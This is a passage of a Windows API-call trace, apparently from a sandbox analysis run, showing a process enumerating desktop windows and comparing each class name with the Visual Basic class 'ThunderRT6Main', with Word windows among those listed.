hWnd=0x200a2, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0224.399] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0224.399] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0224.399] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0224.399] GetClassNameA (in: hWnd=0x20108, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.399] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.399] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0224.399] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0224.399] GetClassNameA (in: hWnd=0x10106, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0224.399] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0224.399] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0224.399] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0224.399] GetClassNameA (in: hWnd=0x10102, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0224.400] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0224.400] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0224.400] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0224.400] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0224.400] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0224.400] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0224.400] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0224.400] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0224.400] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0224.400] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.400] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0224.400] GetClassNameA (in: hWnd=0x10084, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0224.400] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0224.400] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0224.400] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0224.400] GetClassNameA (in: hWnd=0x10082, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0224.400] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0224.400] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.400] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0224.400] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0224.400] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0224.400] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0224.400] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0224.400] GetClassNameA (in: hWnd=0x10080, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.400] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0224.400] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0224.400] GetClassNameA (in: hWnd=0x10076, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.400] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.400] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.400] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0224.400] GetClassNameA (in: hWnd=0x10064, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.400] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.400] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.400] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0224.400] GetClassNameA (in: hWnd=0x10110, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0224.400] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0224.400] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0224.400] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0224.400] GetClassNameA (in: hWnd=0x10112, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.400] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.400] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0224.401] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0224.401] GetClassNameA (in: hWnd=0x10060, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0224.401] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0224.401] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.401] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0224.401] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0224.401] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0224.401] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.401] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0224.401] GetClassNameA (in: hWnd=0x10042, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0224.401] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0224.401] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0224.401] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0224.401] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0224.401] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0224.401] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0224.401] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0224.401] GetClassNameA (in: hWnd=0x10048, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0224.401] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0224.401] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0224.401] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0224.401] GetClassNameA (in: hWnd=0x10040, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.401] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0224.401] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0224.401] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0224.401] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0224.401] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0224.401] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0224.401] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.401] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.401] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0224.401] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0224.401] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0224.401] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0224.401] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0224.401] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0224.401] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0224.401] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0224.401] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0224.401] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0224.401] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb9320b0 [0224.402] IMalloc:Free (This=0x7feffc15380, pv=0xb9320b0) [0224.796] GetCurrentThreadId () returned 0x8d0 [0224.796] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0224.796] GetDesktopWindow () returned 0x10010 [0224.797] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x1008a [0224.797] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.797] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.797] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x10140 [0224.797] GetClassNameA (in: hWnd=0x10140, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0224.797] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0224.797] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0224.797] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0224.797] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.797] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.797] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0224.797] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0224.797] GetClassNameA (in: hWnd=0x10138, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0224.797] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0224.797] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0224.797] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0224.797] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.797] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.797] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0224.797] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.797] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.797] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0224.797] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.797] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.797] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0224.797] GetClassNameA (in: hWnd=0x10072, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.797] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.797] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070 [0224.797] GetClassNameA (in: hWnd=0x10070, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.797] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.797] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c [0224.797] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.797] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.797] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1007a [0224.797] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.797] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.798] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.798] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0224.798] GetClassNameA (in: hWnd=0x10078, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.798] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.798] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0224.798] GetClassNameA (in: hWnd=0x10074, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.798] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.798] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0224.798] GetClassNameA (in: hWnd=0x10052, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0224.798] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0224.798] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.798] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0224.798] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.798] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.798] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.798] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0224.798] GetClassNameA (in: hWnd=0x10054, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0224.798] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0224.798] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.798] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0224.798] GetClassNameA (in: hWnd=0x10050, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0224.798] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0224.798] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.798] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0224.798] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.798] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0224.798] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0224.798] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0224.798] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0224.798] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.798] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0224.798] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0224.798] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0224.798] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.798] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0224.798] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0224.798] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0224.798] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0224.798] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x101dc [0224.798] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0224.799] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0224.799] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.799] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -1946157056 [0224.799] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0224.799] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0224.799] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x401b2 [0224.799] GetClassNameA (in: hWnd=0x401b2, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.799] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.799] GetWindowThreadProcessId (in: hWnd=0x401b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.799] GetWindowLongA (hWnd=0x401b2, nIndex=-16) returned -1946157056 [0224.799] GetWindowLongPtrA (hWnd=0x401b2, nIndex=-6) returned 0x13f690000 [0224.799] GetWindowLongPtrA (hWnd=0x401b2, nIndex=-6) returned 0x13f690000 [0224.799] GetWindow (hWnd=0x401b2, uCmd=0x2) returned 0x201ba [0224.799] GetClassNameA (in: hWnd=0x201ba, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="OpusApp") returned 7 [0224.799] lstrcmpA (lpString1="OpusApp", lpString2="ThunderRT6Main") returned -1 [0224.799] GetWindowThreadProcessId (in: hWnd=0x201ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.799] GetWindowLongA (hWnd=0x201ba, nIndex=-16) returned 399441920 [0224.799] GetWindowLongPtrA (hWnd=0x201ba, nIndex=-6) returned 0x7fef0c30000 [0224.799] GetWindowLongPtrA (hWnd=0x201ba, nIndex=-6) returned 0x7fef0c30000 [0224.799] GetWindow (hWnd=0x201ba, uCmd=0x2) returned 0xe0214 [0224.799] GetClassNameA (in: hWnd=0xe0214, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0224.799] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0224.799] GetWindowThreadProcessId (in: hWnd=0xe0214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0224.799] GetWindow (hWnd=0xe0214, uCmd=0x2) returned 0xe0218 [0224.799] GetClassNameA (in: hWnd=0xe0218, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.799] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.799] GetWindowThreadProcessId (in: hWnd=0xe0218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x660 [0224.799] GetWindow (hWnd=0xe0218, uCmd=0x2) returned 0xe0210 [0224.799] GetClassNameA (in: hWnd=0xe0210, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0224.799] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0224.799] GetWindowThreadProcessId (in: hWnd=0xe0210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0224.799] GetWindow (hWnd=0xe0210, uCmd=0x2) returned 0xf0212 [0224.799] GetClassNameA (in: hWnd=0xf0212, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.799] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.799] GetWindowThreadProcessId (in: hWnd=0xf0212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0224.799] GetWindow (hWnd=0xf0212, uCmd=0x2) returned 0x701a2 [0224.799] GetClassNameA (in: hWnd=0x701a2, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0224.799] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0224.799] GetWindowThreadProcessId (in: hWnd=0x701a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0224.799] GetWindow (hWnd=0x701a2, uCmd=0x2) returned 0xe020e [0224.799] GetClassNameA (in: hWnd=0xe020e, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0224.799] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0224.799] GetWindowThreadProcessId (in: hWnd=0xe020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0224.799] GetWindow (hWnd=0xe020e, uCmd=0x2) returned 0x101f2 [0224.799] GetClassNameA (in: hWnd=0x101f2, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="OpusApp") returned 7 [0224.800] lstrcmpA (lpString1="OpusApp", lpString2="ThunderRT6Main") returned -1 [0224.800] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.800] GetWindowLongA (hWnd=0x101f2, nIndex=-16) returned 131006464 [0224.800] GetWindowLongPtrA (hWnd=0x101f2, nIndex=-6) returned 0x7fef0c30000 [0224.800] GetWindowLongPtrA (hWnd=0x101f2, nIndex=-6) returned 0x7fef0c30000 [0224.800] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101f0 [0224.800] GetClassNameA (in: hWnd=0x101f0, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0224.800] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0224.800] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.800] GetWindowLongA (hWnd=0x101f0, nIndex=-16) returned -1946157056 [0224.800] GetWindowLongPtrA (hWnd=0x101f0, nIndex=-6) returned 0x7fee4790000 [0224.800] IsWindowEnabled (hWnd=0x101f0) returned 0 [0224.800] GetPropA (hWnd=0x101f0, lpString=0xc129) returned 0x1 [0224.800] RemovePropA (hWnd=0x101f0, lpString=0xc129) returned 0x1 [0224.800] EnableWindow (hWnd=0x101f0, bEnable=1) returned 1 [0224.800] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101ec [0224.800] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0224.800] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0224.800] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.800] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2080374784 [0224.800] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x7feffa40000 [0224.800] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x7feffa40000 [0224.800] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0224.800] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0224.800] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0224.800] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.800] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2080374784 [0224.800] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x7feef060000 [0224.800] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x7feef060000 [0224.800] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x201a8 [0224.800] GetClassNameA (in: hWnd=0x201a8, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0224.800] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0224.800] GetWindowThreadProcessId (in: hWnd=0x201a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x910 [0224.800] GetWindow (hWnd=0x201a8, uCmd=0x2) returned 0x201c2 [0224.800] GetClassNameA (in: hWnd=0x201c2, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="_WwO") returned 4 [0224.800] lstrcmpA (lpString1="_WwO", lpString2="ThunderRT6Main") returned -1 [0224.800] GetWindowThreadProcessId (in: hWnd=0x201c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d0 [0224.800] GetWindowLongA (hWnd=0x201c2, nIndex=-16) returned -2080374784 [0224.800] GetWindowLongPtrA (hWnd=0x201c2, nIndex=-6) returned 0x7fef0c30000 [0224.800] GetWindowLongPtrA (hWnd=0x201c2, nIndex=-6) returned 0x7fef0c30000 [0224.800] GetWindow (hWnd=0x201c2, uCmd=0x2) returned 0x301a4 [0224.800] GetClassNameA (in: hWnd=0x301a4, lpClassName=0x127fe0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") 